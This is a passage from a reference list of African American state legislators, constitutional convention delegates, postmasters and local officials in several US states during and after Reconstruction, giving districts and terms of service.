Frederick Hill – postmaster of in Quincy (also Florida House, Florida Senate, Florida Constitutional Convention, and county commissioner)
Joseph E. Lee – postmaster of (also Florida House and Florida Senate)
Matthew M. Lewey – postmaster of Newnansville February 19, 1874 – February 8, 1875 (also Florida House and mayor)
Robert Meacham – postmaster of Monticello February 19, 1869 – March 22, 1871 (also Florida Senate, Florida Constitutional Convention, clerk of the circuit court, and superintendent of common schools)
Riley Edward Robinson – postmaster of Kings Ferry (also Florida House)
Egbert Sammis – consul in Stuttgart (also Florida Senate)
Emmanuel Smith – postmaster of Apalachicola October 13, 1881 – May 5, 1885
William G. Stewart – postmaster of Tallahassee March 26, 1873 – July 20, 1885
Local offices
Columbus H. Boger – mayor of Eatonville 1887
Mitchell Chapelle – mayor of LaVilla (now part of Jacksonville)
Oliver J. Coleman – county commissioner and Madison councilman (also Florida House and Florida Senate)
James Dean – Monroe County judge 1889
Charles Dupont – sheriff of Monroe County
Samuel W. Frazier – justice of the peace for Lean County 1872–1873 (also Florida House)
Frederick Hill – Gadsen County commissioner (also Florida House, Florida Senate, Florida Constitutional Convention, postmaster)
Matthew M. Lewey – mayor of Newnansville 1875–1877 (also Florida House and postmaster)
George H. Mays – marshal of Jacksonville
Robert Meacham – clerk of the circuit court Jefferson County 1868 and superintendent of commons schools Jefferson County 1869 (also Florida Senate, Florida Constitutional Convention, and postmaster)
James Page – Leon County commissioner
Washington Pope – Jackson County county commissioner 1870–1873 (also Florida Senate)
John Wallace – constable of Leon County (also Florida House and Floridan Senate)
Georgia
In Georgia, 69 African Americans served in the state legislature or as delegates to the state's constitutional convention between 1867 and 1872.
Georgia State Senate
Aaron Alpeoria Bradley – Chatham, Bryan, and Effingham counties 1868 (also Georgia Constitutional Convention and postmaster)
Tunis Campbell Sr. – Liberty, McIntosh, and Tattnall counties 1868, 1870, 1871 (also Georgia Constitutional Convention and justice of the peace)
George Wallace – Hancock, Baldwin, and Washington counties 1868, 1870 (also Georgia Constitutional Convention)
Georgia House of Representatives
Thomas M. Allen – Jasper County 1868, 1870
Eli Barnes – Hancock County 1868, 1870
Thomas P. Beard – Richmond County 1868, 1870
Edwin Belcher – Wilkes County 1868 (also postmaster)
James Blue – Glynn County 1871–1877
Thomas M. Butler – Camden County 1878
Tunis Campbell Jr. – McIntosh County 1868, 1870
Malcolm Claiborne – Burke County 1868, 1870 (also Georgia Constitutional Convention)
Abram Colby – Greene County 1866, 1868, 1870
George H. Clower – Monroe County 1868, 1870
John T. Costin – Talbot County 1868, 1870
Lectured Crawford – McIntosh County 1886–1887, 1890–1891, 1900–1901
Madison Davis – Clarke County 1868, 1871 (also postmaster)
Monday Floyd – Morgan County 1868, 1870
F. H. Fyall – Macon County 1868
Samuel Gardner – Warren County 1868, 1870
William A. Golden – Liberty County 1868, 1870
William Guilford – Upson County 1868
R. B. Hall – Burke County 1868, 1870
William Henry Harrison – Hancock County 1868, 1870 (also Georgia Constitutional Convention)
Jack Heard – Greene County 1873
John M. Holzendorf – Camden County 1890
Ulysses L. Houston – Bryan County 1868, 1870
Philip Joiner – Dougherty County 1868, 1870, 1871 (also Georgia Constitutional Convention)
J. A. Lewis – Stewart County 1871
George Linder – Laurens County 1868, 1870 (also Georgia Constitutional Convention)
Robert Lumpkin – Macon County 1868, 1870 (also Georgia Constitutional Convention)
H. A. McKay – Liberty County 1900
Romulus Moore – Columbia County 1868, 1870 (also Georgia Constitutional Convention)
Peter O'Neal – Baldwin County 1868, 1870
James Ward Porter – Chatham County 1868, 1870, 1871
Alfred Richardson – Clarke County 1868, 1870
Amos Rogers – McIntosh County 1878
A. Simmons – Houston County 1871
James M. Simms – Chatham County 1868, 1870
Abraham Smith – Muscogee County 1868, 1870
Alexander Stone – Jefferson County 1868, 1870 (also Columbia County)
Henry McNeal Turner – Bibb County 1868, 1870, 1871 (also Georgia Constitutional Convention and postmaster)
John Warren – Glynn County 1868, 1870
Samuel Williams – Harris County 1868, 1870 (also Georgia Constitutional Convention)
A. Wilson – Camden County 1884
Hercules Wilson – McIntosh County 1882–1885
Georgia Constitutional Convention
Simeon Beard – 18th District/Jefferson County 1867
Aaron Alpeoria Bradley – 1st District 1867 (also Georgia Senate and postmaster)
Tunis Campbell – 2nd District 1867 (also Georgia Senate and justice of the peace)
Malcolm Claiborne – 17th District/Burke County 1867 (also Georgia House)
William Henry Harrison – 20th District/Hancock County 1867 (also Georgia House)
Philip Joiner – 10th District 1867/Dougherty County (also Georgia House)
George Linder –16th District/Laurens County 1867 (also Georgia House)
Robert Lumpkin – 13th District/ Macon County 1867 (also Georgia House)
Romulus Moore – 29th District 1867/Columbia County (also Georgia House)
Alexander Stone – 18th District/Jefferson County 1867 (also Georgia House)
Henry McNeal Turner – 22nd District/Bibb County 1867 (also Georgia House and postmaster)
George Wallace – 20th District 1867 (also Georgia Senate)
Samuel Williams – 25the District/Harris County (also Georgia House)
Federal offices
J. Curt Beall – postmaster of La Grange September 6, 1882 – August 6, 1885
Edwin Belcher – postmaster of Macon March 22, 1873 – March 23, 1875 (also Georgia House)
Aaron Alpeoria Bradley – postmaster of in Macon (also Georgia Constitutional Convention and Georgia Senate)
John H. Clopton – postmaster of Hogansville March 1, 1890 –April 8, 1893
Madison Davis – postmaster of Athens February 13, 1882 – June 2, 1890; February 15, 1886 – May 27, 1893 (Georgia House)
Jacob D. Enos or Enis – postmaster of Valdosta May 4, 1869 – June 8, 1871
Charles R. Jackson – postmaster of Darien October 15, 1890 – September 14, 1897; June 19, 1893 – May 18, 1909
Isaiah H. Loftin – postmaster of Hogansville May 17, 1897 – March 2, 1900
Monroe B. Morton – postmaster of Athens July 27, 1897 – February 6, 1902
Luther J. Price – postmaster of South Atlanta June 18, 1889 – June 21, 1893
Ellic L. Simon – postmaster of South Atlanta July 2, 1897 – October 31, 1904
Henry McNeal Turner – postmaster of Macon May 18, 1869 – August 10, 1869 (also Georgia House and Georgia Constitutional Convention)
Local offices
Tunis Campbell Sr. – justice of the peace (also Georgia Senate and Georgia Constitutional Convention)
William Finch – Fourth Ward, Atlanta Board of Aldermen 1892 (now Atlanta City Council)
George Graham – Third Ward, Atlanta Board of Aldermen 1892 (now Atlanta City Council)
Idaho
Federal offices
John B. Mitchell – postmaster of Delta October 10, 1890 – November 16, 1894
Illinois
Illinois House of Representatives
James E. Bish – Cook County 1895
John C. Buckner – 5th District 1899–1903
George French Ecton – 3rd District/Chicago 1888
William L. Martin – Cook County 1898
Edward H. Morris – Cook County 1890, 1902
John W. E. Thomas – 3rd District/Chicago 1877–1879, 1884–1905
Indiana
Indiana did not have African American legislators until after the Reconstruction era.
Indiana House of Representatives
James S. Hinton – Marion County 1881 (also trustee of the Wabash and Erie Canal)
Federal offices
James Cantrell – postmaster of Lyles September 12, 1898 – February 12, 1920
Kansas
Kansas did not have African American legislators until after the Reconstruction era.
Kansas House of Representatives
Alfred Fairfax – Chautauqua County 1888
Other state offices
Edward P. McCabe – Kansas State Auditor (also county clerk, U.S. Treasury Department clerk, and country treasurer in Oklahoma)
Federal offices
Frances Jennie Fletcher – postmaster of Nicodemus December 9, 1889 – January 5, 1894
Zachary T. Fletcher – postmaster of Nicodemus September 12, 1877 – September 2, 1886
Edward P. McCabe – clerk in the Cook County office of the U.S. Treasury Department (also country clerk Kansas State Auditor, and county treasurer in Oklahoma)
George M. Sayers – postmaster of Nicodemus April 27, 1896 – December 20, 1916
Local offices
Edward P. McCabe – county clerk for Graham County (also Kansas State Auditor, U.S. Treasury Department clerk, and county treasurer in Oklahoma)
Kentucky
Federal offices
John D. Starks – postmaster of Brandenburg November 11, 1899 – September 16, 1890
Louisiana
Through 1900, 24 African Americans served in the Louisiana Senate during Reconstruction; more than 100 served in the Louisiana House of Representatives. In addition, six African American men held statewide offices in Louisiana, including the nation's first African American acting governors.
Louisiana Governor
Oscar James Dunn – acting governor May–July 1871
P. B. S. Pinchback – acting governor December 1872–January 1873 (also U.S. Senate, Louisiana Lt. Governor, Louisiana Constitutional Convention, and Louisiana Senate)
Louisiana lieutenant governor
Caesar Antoine – 1873–1877 (also Louisiana Senate and Louisiana Constitutional Convention)
Oscar James Dunn – 1868–1871, (also Louisiana Constitutional Convention
P. B. S. Pinchback – 1872 (also U.S. Senate, acting Louisiana Governor, Louisiana Constitutional Convention, and Louisiana Senate)
Louisiana State Senate
Theophile T. Allain – 14th State Senate District/Iberville Parish 1874–1880 (also Louisiana House)
Caesar Antoine – Caddo Parish 1868–1872 (also Louisiana Lt. Governor and Louisiana Constitutional Convention)
Alexander E. Barber – Orleans Parish 1868–1874
Raiford Blunt – West Baton Rouge Parish 1872–1875 (also Louisiana House)
J. Henry Burch – East Baton Rouge Parish 1872–1880 (also Louisiana House)
Edward Butler – Plaquemines Parish, Louisiana 1870–1874
Thomas Cage – Terrebonne Parish 1872–1884 (also Louisiana House)
Oscar Crozier – Lafourche Parish, 1874–April 1875
J. S. Davison – Iberville Parish 1880–1884
Henry Demas – St. John the Baptist Parish 1874–1880, 1884–1892 (also Louisiana House)
Emile Detiège – St. Martin Parish 1876–1878
Andrew Dumont – Orleans Parish 1874–1878 (also Louisiana House)
J. B. Esnard – Iberia Parish 1870–1876
Alexander R. François – St. Martin Parish 1868–1869
John Gair - East Feliciana Parish 1868–1876 (also Louisiana Constitutional Convention)
Jacques Gla – Carroll and Madison parishes 1872, 1874–1880
Robert F. Guichard – St. Bernard Parish 1884–1892 (also Louisiana House and Louisiana Constitutional Convention)
George Hamlet – Ouachita Parish 1876–1880
William Harper – St. Charles Parish 1872–1876
J. H. Ingraham – Orleans Parish 1870–1874
George Y. Kelso – Rapides Parish 1868–1876 (also Louisiana Constitutional Convention)
Pierre Caliste Landry – Ascension Parish 1874–1878 (also Louisiana House, postmaster, and mayor)
Jules A. Masicot – Orleans Parish 1872–1876 (also Louisiana House and Louisiana Constitutional Convention)
Julien J. Monette – 3rd State Senate District/Orleans and St. Bernard parishes 1868
P. B. S. Pinchback – Orleans Parish 1868–1871 (also U.S. Senate, Louisiana Lt. Governor, acting Louisiana Governor, and Louisiana Constitutional Convention)
Robert Poindexter – Assumption, Lafourche and St. Landry parishes 1868 (also Louisiana House and Louisiana Constitutional Convention)
Curtis Pollard – East Carroll Parish 1868–1870, 17th State Senate District 1872–1876 (also Louisiana Constitutional Convention)
John Randall – Concordia Parish and Avoyelles Parish 1868–1869
Fortune Riard – Orleans Parish 1874–1878 (also Louisiana Constitutional Convention)
Richard Simms – St. James Parish 1880–1892 (also Louisiana House)
T. B. Stamps – Jefferson Parish 1872–1880 (also Louisiana House and Louisiana Constitutional Convention)
Jordan R. Stewart – 9th State Senate District/Terrebonne Parish 1880–1888 (also Louisiana House and Louisiana Constitutional Convention)
Isaac Sutton – St Mary Parish 1876–1889 (also Louisiana House)
Simon Toby – Orleans Parish 1884–1888
Samuel Wakefield – Iberia Parish 1877–1879
David Young – Concordia Parish 1874–1878 (also Louisiana House)
Louisiana House of Representatives
Canon J. Adolphe – Orleans Parish 1869–1872
Frank Alexander – New Orleans 1868
Theophile T. Allain – Iberville Parish 1872, 1879–1888 (also Louisiana Senate)
Arthur Antoine – St. Mary Parish 1872
Felix C. Antoine – Orleans Parish 1870–1876
Raiford Blunt – West Baton Rouge Parish/Natchitoches Parish 1868–1872 (also Louisiana Senate)
Charles A. Bourgoise – St. Charles Parish 1878–1896
R. J. Brooks – St. Mary Parish 1876–1880
Charles F. Brown – Jefferson Parish 1880–1884
J. Henry Burch – East Baton Rouge Parish 1879 (also Louisiana Senate)
Thornton Butler – Orleans Parish 1876–1880
Thomas Cage – Terrebonne Parish 1884–1888 (also Louisiana Senate)
Henry C. W. CasaCalvo – East Baton Rouge Parish 1892–1896
John Cayolle – St. John the Baptist Parish 1880-1888
Royal Coleman – Terrebonne Parish 1878–1884
Lucien Comaux – Iberville Parish 1880–1884
Joseph Connaughton (politician) – Rapides Parish 1872–1875
J. A. Crawford – Franklin Parish 1870–1874
William Crawford – Union Parish 1870
P. Darinsburg – Pointe Coupee Parish 1870
J. S. Davidson – Iberville Parish 1870–1878, 1892-1896
Aristede Dejoie – Orleans Parish 1870–1874, 1877
Henry Demas – St. John the Baptist Parish 1870–1874, 1879 (also Louisiana Senate)
Vincent Dickerson – St. James Parish 1884–1892
N. Douglass – Assumption Parish 1868–1870
Rosario Ducoté – Avoyelles Parish 1878–1888
Andrew Dumont – Orleans Parish 1868–1876
Ulgar Dupart – Terrebonne Parish 1868 (also Louisiana Constitutional Convention)
Benjamin B. Ewell – Assumption Parish 1884–1888
Victor Fauria – St. Tammany Parish 1892–1896
T. H. Francois – Jefferson Parish 1868–1872
John Gair – East Feliciana Parish 1868, 1872
Bivien Gardner – Assumption Parish 1880–1884
R. G. Gardner – Jefferson Parish 1870
William C. Gary – St. Mary Parish 1876–1880
Robert F. Guichard – St. Bernard Parish 1872 (also Louisiana Senate and Louisiana Constitutional Convention)
William Harper – Caddo Parish 1870
Governor Hawkins – Madison Parish 1884–1888
Gloster H. Hill – Ascension Parish 1868–1870, 1874–1880
Moses R. Hite – Assumption Parish 1879
Robert Isabelle – Orleans Parish 1868–1876
W. W. Johnson – Madison County 1884-1888
H. S. Jones – Iberville Parish 1880–1884
Milton Jones – Pointe Coupee Parish 1876
R. M. J. Kenner – New Orleans 1870
Pierre Caliste Landry – Ascension Parish 1872–1873, 1880–1884 (also Louisiana Senate, postmaster, mayor)
Charles Leroy – Natchitoches Parish 1868
Wash Lyons – Terrebonne Parish 1876–1880
Harry Mahoney – Plaquemine Parish 1872–1884
Joseph Mansion – Orleans Parish 1868
Louis A. Martinet – St. Mary Parish 1872–1875
Jules A. Masicot – Orleans Parish 1868–1872 (also Louisiana Senate and Louisiana Constitutional Convention)
W. E. McCarthy – Orleans Parish 1868-1872
J. Monroe – 1868, 1870, 1872
John J. Moore – St. Mary Parish 1870
Milton Morris – Ascension Parish 1868–1873 (also Louisiana Constitutional Convention)
Thomas Murray – Orleans Parish 1870
William Murrell – Lafourche Parish 1868–1878
William Murrell Jr. – Madison Parish 1872–1876, 1878–1880 (also Louisiana Constitutional Convention)
Anthony Overton, Sr. – Ouachita Parish 1870
John F. Patty – St. Mary Parish 1884–1888
Robert Poindexter – Assumption Parish 1874–April 1875 (also Louisiana Senate and Louisiana Constitutional Convention)
Isham Pollard – Terrebonne Parish 1878
W. S. Posey – St. Mary Parish 1884–1884
Robert R. Ray – East Feliciana Parish 1874
Harry Rey – Natchitoches Parish 1868
Victor Rochon – St. Mary Parish 1872 – April 1875, 1884–1888
Cain Sartain – East Carroll Parish 1870–1876
Richard Simms – St. Landry Parish 1872–1874 (also Louisiana Senate)
Charles Smith – Terrebonne Parish 1880–1884
W. B. Smith – St. Mary Parish 1878
Louis Snaer – Orleans Parish 1872–1876 (also Louisiana Constitutional Convention)
T. B. Stamps – Jefferson Parish 1870 (also Louisiana Senate and Louisiana Constitutional Convention)
Jordan R. Stewart – Tensas Parish 1872–1876 (also Louisiana Senate and Louisiana Constitutional Convention)
Isaac Sutton – St Mary Parish 1872–1876 (also Louisiana Senate)
Robert J. Taylor – West Feliciana Parish 1868
George Washington – Concordia Parish 1870–1874, 1877
Henry George Washington – Assumption Parish 1868–1871
Enos Williams – Terrebonne Parish 1876–1884
Henderson Williams – Madison Parish 1868, 1870 (also Louisiana Constitutional Convention)
W. C. Williams – East Feliciana Parish 1868, 1870
Frederick B. Wright – Terrebonne Parish 1874–1878
David Young – Concordia Parish 1868–1874, 1880–1884 (also Louisiana Senate)
Louisiana Constitutional Convention
Caesar Antoine – Caddo Parish 1867–1868 (also Louisiana Lt. Governor and Louisiana Senate)
Arnold Bertonneau – 1868
O. C. Blandin – 1867
Emile Bonnefoi – 1867–1868
H. Bonseigneur – 1867
Emile Burrel – 1868
Dennis Burrell – 1867
William Butler – 1867–1868
R. I. Cromwell – 1867–1868
Pierre G. Deslonde – Iberville Parish 1867–1868 (also Louisiana Secretary of State)
A. Donato – 1867
Oscar Dunn – 1867 (also Lt. Governor of Louisiana)
Gustave Dupart – 1867
Ulgar Dupart – Terrebonne Parish 1867–1868 (also Louisiana House)
Jean–Baptiste Esnard – St. Mary Parish 1870–1876
Louis Francois – 1867–1868
John Gair – 1867 (also Louisiana Senate)
R. G. Gardiner – 1867–1868
Leopold Guichard – 1867
Robert F. Guichard – Saint Bernard Parish 1868 (also Louisiana Senate and Louisiana House)
James H. Ingraham – 1867
R. H. Isabelle – 1867–1868
Thomas Isabelle – 1867–1868
George Y. Kelso – Rapides Parish 1867–1868 (also Louisiana Senate)
Victor Lange – 1868
Charles Leroy – 1867–1868
J. B. Lewis – 1867–1868
Richard Lewis – 1867–1868
Theophile Mahier – 1868
Thomas M. Martin – 1867–1868
Jules A. Masicot – Third District 1867–1868 (also Louisiana House and Louisiana Senate)
William R. Meadows – 1867–1868
? Monroe – 1868
Milton Morris – 1867–1868 (also Louisiana House)
R. S. Moses – 1867–1868
William Murrell Jr. – Madison Parish 1867–1868 (also Louisiana House)
P. B. S. Pinchback – 1867–1868 (also U.S. Senate, Louisiana Lt. Governor, Louisiana Senate, and Louisiana acting governor)
Robert Poindexter – Assumption Parish 1867–1868 (also Louisiana Senate and Louisiana House)
Curtis Pollard – Franklin Parish and Madison Parish 1867–1868 (also Louisiana Senate)
Fortune Riard – 1867 (also Louisiana Senate)
D. D. Riggs – 1867–1868
J.. A. H. Roberts – 1867–1868
L. B. Rodriguez – 1867
? Scott – 1868
Louis Snaer – Saint Martin Parish 1868 (also Louisiana House)
Sosthen L. Snaer – 1867
T. B. Stamps – Jefferson Parish 1879 (also Louisiana Senate and Louisiana House)
Jordan R. Stewart – Terrebonne Parish 1879 (also Louisiana House and Louisiana Senate)
C. A. Thibault – 1867
Edouard D. Tinchant – 1867
P. F. Valfroit – 1867–1868
Henderson Williams – Madison Parish 1867–1868 (also Louisiana House)
David Wilson – 1867–1868
Other state offices
William C. Brown – Louisiana Superintendent of Education 1872–1876
Pierre G. Deslonde – Secretary of State 1872–1876 (also Louisiana Constitutional Convention)
Antoine Dubuclet – state treasurer 1876–1877
Federal offices
Henry Bloch – postmaster of Opelousas March 26, 1891 – September 7, 1891
Samuel E. Cuny or Cuney – postmaster of Colfax March 15, 1872 – April 1873
Abraham Davis – postmaster of Franklin June 3, 1872 – March 21, 1881; January 17, 1880 – April 11, 1887
Timothy Davis – postmaster of Pattersonville (became Patterson in 1887) May 3, 1882 – December 30, 1892
Anna M. Dumas – postmaster of Covington November 15, 1872 – June 18, 1885
Pierre Caliste Landry – postmaster of Donaldsonville March 3, 1871 – May 25, 1875 (also Louisiana House, Louisiana Senate, mayor)
Charles Leroy – postmaster of Natchitoches April 29, 1869 – September 18, 1872
Friday N. Porter Jr. – postmaster of Pearl River (became Pearlville in 1888) October 6, 1875 – May 6, 1893
Charles W. Ringgold – postmaster of New Orleans March 1, 1873 – April 6, 1875
James H. Stephens – postmaster of Saint Francisville April 1, 1872 – December 8, 1879
John A. Washington – postmaster of Vidalia October 20, 1873 – May 15, 1876
Local offices
Monroe Baker – mayor of St. Martinville 1867
Thomas Morris Chester – superintendent of school district 1875
Oscar Dunn – New Orleans Board of Aldermen 1867
Pierre Caliste Landry – mayor of Donaldsonville (also Louisiana House, Louisiana Senate, and postmaster)
James Lewis – administrator of public improvements in New Orleans 1872, Orleans naval officer 1877
Pierre Magloire – Avoyelles Parish sheriff 1872
Alexander Noguez – Avoyelles Parish sheriff 1868–1872
Maryland
Federal offices
Nathan Johnson – postmaster of Sugarland February 6, 1896 – May 15, 1905
Warren R. Wade – postmaster of Malcolm February 3, 1890 – September 24, 1901
Local offices
Wiley H. Bates – Annapolis Board of Aldermen 1897–1899
William H. Butler – Annapolis Board of Aldermen 1873–1875
William H. Butler Jr. – Annapolis Board of Aldermen 1893–1897
John Marcus Cargill – Baltimore City Council 1895-1897
Harry Sythe Cummings – Baltimore City Council 1891, 1892, 1898
Hiram Watty – Baltimore City Council 1899 and 1905
Massachusetts
Massachusetts House of Representatives
William O. Armstrong – Ward 9 1887
Julius C. Chappelle – Boston 9th Ward/9th Suffolk District 1883–1886
Charles E. Harris – Boston 1892 (also Boston Common Council)
Lewis Hayden – Boston 1873
Andrew B. Lattimore – Boston 1889 (also Boston Common Council)
George W. Lowther – Boston 9th Ward 1878
Charles Lewis Mitchell – 6th Suffolk District 1866
William L. Reed – Boston 1896
George Lewis Ruffin – 6th Suffolk District 1870 (also Boston City Council and judge)
John J. Smith – 6th Suffolk District 1868, 1872
Joshua Bowen Smith – Cambridge 1873
Robert T. Teamoh – Boston 9th Ward 1894
Edward G. Walker – Middlesex County 3rd District 1866
Local offices
Macon Bolling Allen – Justice of the Peace for Middlesex County (also probate judge in South Carolina)
Charles E. Harris – Boston Common Council (also Massachusetts House)
Andrew B. Lattimore – Ward 9 Boston Common Council (also Massachusetts House)
George Lewis Ruffin – Boston City Council 1875–1877 and judge in the Municipal Court, Charlestown District, Boston (also Massachusetts House)
Michigan
Michigan House of Representatives
Joseph H. Dickinson – Wayne County 1897
William Webb Ferguson – Wayne County 1893
Other state offices
Samuel C. Watson – State Board of Estimates 1875; Detroit City Council 1875, 1883–1886
Minnesota
Minnesota did not have any African American legislators until after the Reconstruction era.
Minnesota House of Representatives
John Francis Wheaton – District 42, 1899–1900
Mississippi
The Mississippi Plan was part of an organized campaign of terror and violence used by the Democratic Party and Ku Klux Klan to disenfranchise African Americans in Mississippi, block them from holding office, end Reconstruction, and restore white supremacy in the state. Nevertheless, many African Americans served in its legislature and Mississippi was the only state that elected African American candidates to the U.S. Senate during the Reconstruction era; a total of 37 African Americans served in the Senate and 117 served in the House.
Mississippi Lieutenant Governor
Alexander Kelso Davis – Lieutenant Governor 1870-1873 (also Mississippi House)
Mississippi Secretary of State
Hannibal C. Carter – 1873, 1874 (also Mississippi House)
James Hill – 1874–1878 (also Mississippi House)
James D. Lynch – 1869–1872
Murdock M. McLeod – October–November 1873 (also Mississippi House)
Hiram Rhodes Revels – 1872–1873 (also U.S. Senate)
Mississippi State Senate
George W. Albright – Marshall County 1874–1879
Peter Barnabas Barrow – Warren County 1872–1875 (also Mississippi House)
Countelow M. Bowles – Bolivar County 1872–1874, 1877–1878 (also Mississippi House)
Charles Caldwell – Hinds County 1870–1875 (also Mississippi Constitutional Convention)
George Washington Gayles – Bolivar County 1878–1886 (also Mississippi House)
Robert Gleed – Lowndes County 1870–1875
William H. Gray – Washington County 1870–1875
Nathan Shirley – Monroe and Chickasaw counties 1874–1879
George C. Smith – Coahoma County 1874–1875
Isham Stewart – Noxubee County 1874–1879 (also Mississippi House and Mississippi Constitutional Convention)
Thomas W. Stringer – Warren County 1870–1871
George W. White – Wilkinson County 1874–1875 (also Mississippi House)
Jeremiah M. P. Williams – Adams County 1870–1874, 1878–1880
Mississippi House of Representatives
William H. Allen – Coahoma County 1884–1887
L. K. Altwood – Hinds County 1880, 1884
Peter Barnabas Barrow – Warren County 1870–1871 (also Mississippi Senate)
Monroe Bell – Hinds County 1872
Stephen Blackwell – Issaquena County 1882–1889
Jesse Freeman Boulden – Lowndes County 1870
Countelow M. Bowles – Bolivar County 1870 (also Mississippi Senate)
George F. Bowles – Adams County 1881–1894
Anderson Boyd – Oktibbeha County 1874
George W. Boyd – Warren County 1874
Walter Boyd – Yazoo County 1874
Arthur Brooks – Monroe County 1872
Frank P. Brooks – Sharkey County 1866
George P. A. Brown – Tunica County 1875
Orange Brunt – Panola County 1874
Joseph Henry Bufford – Bolivar County 1880
Charles W. Bush – Warren County 1872
George William Butler – Sharkey County 1884–1894
J. Wesley Caradine – Clay County 1874
Hannibal C. Carter – Warren County 1872, 1876 (also Mississippi Secretary of State)
James Cessor – Jefferson County 1872–1877
George Charles – Lawrence County 1870
George Washington Chavis – Warren County 1874
Benjamin Chiles – Oktibbeha County 1874–1878
Richard Christmas – Copiah County 1874
Charles P. Clemens – Clarke County 1874
Milton Coates – Warren County 1882–1885
John Cocke – Panola County 1872
Felix L. Cory – Adams County 1884–1886
Thomas A. Cotton – Noxubee County 1874
Henry Craytin – Yazoo County 1880
Robert Cunningham – Marshall County 1878
Alexander Kelso Davis – Noxubee County 1870–1873 (also Lieutenant Governor)
Willis Davis – Noxubee County 1874–1876
James M. Dickson – Yazoo County 1872
George Edwards – Madison County 1878
Weldon W. Edwards – Warren County 1874–1877, 1882
Alfred Fields – Panola County 1880
Samuel Fitzhugh – Wilkinson County 1874–1876
Hugh M. Foley – Wilkinson County 1870, 1873
William Henderson Foote – Yazoo County 1870
George Washington Gayles – Bolivar County 1872–1875 (also Mississippi Senate)
J. H. Glenn – Lowndes County 1874
George Caldwell Granberry – Hinds County 1882
David S. Green – Grenada County 1872–1875
Richard Griggs – Issaquena County 1870, 1872 (also Commissioner of Agriculture & Immigration)
Alfred Newton Handy – Madison County 1870–1875
Emanuel Handy – Copiah County 1870–1873
John F. Harris – Washington County 1890
W. H. Harris – Washington County 1874, 1888
Henry H. Harrison – Chickasaw County 1874
Charles P. Head – Warren County 1870
William W. Hence – Adams County 1880
Ambrose Henderson – Chickasaw County 1870
John Franklin Henry – Madison County 1884
Weldon Hicks – Hinds County 1874, 1878
Wilson Hicks – Rankin County 1874
David Higgins – Oktibbeha County 1870
James Hill – Marshall County 1872 (also Secretary of State of Mississippi)
William Holmes – Monroe County 1870–1873
D. H. Hopson – Coahoma County 1888
Gilbert Horton – Washington County 1884
Russell Walker Houston – Issaquena County 1872
Merrimon Howard – Jefferson County 1870 (also sheriff)
Perry Howard – Holmes County 1872–1875
George W. Huntley – Bolivar County 1888
Henry L. Jackson – Rankin County 1888
Henry P. Jacobs – Adams County 1870, 1872
David Jenkins – Madison County 1876
Albert Johnson – Warren County 1870–1876
J. H. Johnson – DeSoto County 1872–1875
John Johnson – Madison County 1886–1887
William Johnson – Hinds County 1872
Cornelius J. Jones – Issaquena County 1890
William H. Jones – Issaquena County 1874–1877
Reuben Kendrick – Amite County 1872–1875
William Landers – Jefferson County 1872–1876
Matthew Levy – Madison County 1882
Samuel W. Lewis – Madison County 1884
William Lucius Lowe – Bolivar County 1886
John R. Lynch – Adams County 1872, 1874; Speaker of the House 1872–1873 (also U.S. Congress)
William H. Lynch – Adams County 1874–1877, 1882–1889
William H. Mallory – Warren County 1872, LeFlore County and Sunflower County 1875
James G. Marshall – Holmes County 1878
Daniel T. J. Mathews – Panola County 1874
Henry Mayson – Hinds County 1870 (also Mississippi Constitutional Convention)
Thomas McCain – DeSoto County 1872–1875
J. W. McFarland – Rankin County 1874
Murdock M. McLeod – Hinds County 1884 (also Mississippi of Secretary State)
Marshall McNeese – Noxubee County 1870, 1874–1877
Cicero Mitchell – Holmes County 1870, 1878
Peter Mitchell – Washington County 1882, 1886
Joseph E. Monroe – Coahoma County 1874–1877
James Aaron Moore – Lauderdale County 1870 (also Mississippi Constitutional Convention)
L. C. Moore – Bolivar County 1890
Lemuel C. Moore – Issaquena County 1880, 1884
John H. Morgan – Washington County 1870–1875
George G. Moseley – Hinds County 1874
Cato Nathan – Monroe County 1874
Randle Nettles – Oktibbeha County 1870–1873
Matthew T. Newsom – Claiborne County 1870 (also Mississippi Constitutional Convention)
C. F. Norris – Hinds County 1870
George H. Oliver – Coahoma County 1890
Lawrence W. Overton – Noxubee County 1876
Jones R. Parker – Washington County 1884
James G. Patterson – Yazoo County 1874
Alfred Peal – Marshall County 1874
Perry Peyton – Bolivar County 1884
James H. Piles – Panola County 1870–1875 (also Assistant Secretary of State)
Albert B. Poston – Panola County 1882
J. W. Randolph – Sunflower County and Leflore County 1874
Charles Reese – Hinds County 1872
Elzy Richards – Lowndes County 1872–1875
Samuel Riley – Wilkinson County 1876
William M. Robinson – Hinds County 1884
A. A. Rogers – Marshall County 1874
Jacob Allen Ross – Washington County 1871
Samuel A. Sanderlin – Washington and Issaquena counties 1876
Edmund Scarborough – Holmes County, Mississippi 1870
Henry P. Scott – Issaquena County 1878
Gray Selby – Marshall County 1880
Josiah T. Settle – Panola County 1883
Isaac Shadd – Warren County 1872–1876, Speaker of the House 1874–1875
James A. Shorter Jr. – Hinds County 1882
James S. Simmons – Issaquena County and Washington County 1874, 1883
Adam D. Simpson – Madison County 1877
Gilbert C. Smith – Tunica County 1872–1875, 1884
Haskin Smith – Claiborne County 1872–1876
Joseph Smothers – Claiborne County 1872–1875
James J. Spelman – Madison County 1869–1875 (also a justice of the peace)
Frederick Stewart – Holmes County 1872
Isham Stewart – Noxubee County 1870–1873 (also Mississippi Senate and Mississippi Constitutional Convention)
Doctor Stites – Washington County 1870
Thomas Sykes – Panola County 1872
Robert Thompson – Lowndes County 1874
Harrison Truhart – Holmes County 1872–1875
Guilford Vaughan – Panola County 1876
F. Dora Wade – Yazoo County 1872
Jefferson Cobb Walker – Monroe County 1874
George Washington – Carroll County 1874
George R. Washington – Adams County 1878
Tenant Weatherly – Holmes County 1874, 1880
John D. Webster – Washington County 1872
Eugene Welborne – Hinds County 1874
George White – Chickasaw County 1874
George W. White – Wilkinson County 1870–1873 (also Mississippi Senate)
Ralph Williams – Marshall County 1873–1875
Michael Wilson – Marion County 1870
Charles A. Yancy – Panola County 1870 (died before being seated)
James B. Young – Washington County 1877
James M. Young – Panola County 1878
Mississippi Constitutional Convention
Charles Caldwell – Hinds County 1868 (also Mississippi Senate)
Amos Drane – Madison County 1868
Henry Mayson – Hinds County 1868 (also Mississippi House)
Isaiah Montgomery – Bolivar County 1890 (also mayor and postmaster)
James Aaron Moore – Lauderdale County (also Mississippi House)
Matthew T. Newsom – Claiborne County 1868 (also Mississippi House)
Isham Stewart – Noxubee County 1868 (also Mississippi House and Mississippi Senate)
Other state offices
Thomas Cardozo – Mississippi Superintendent of Education
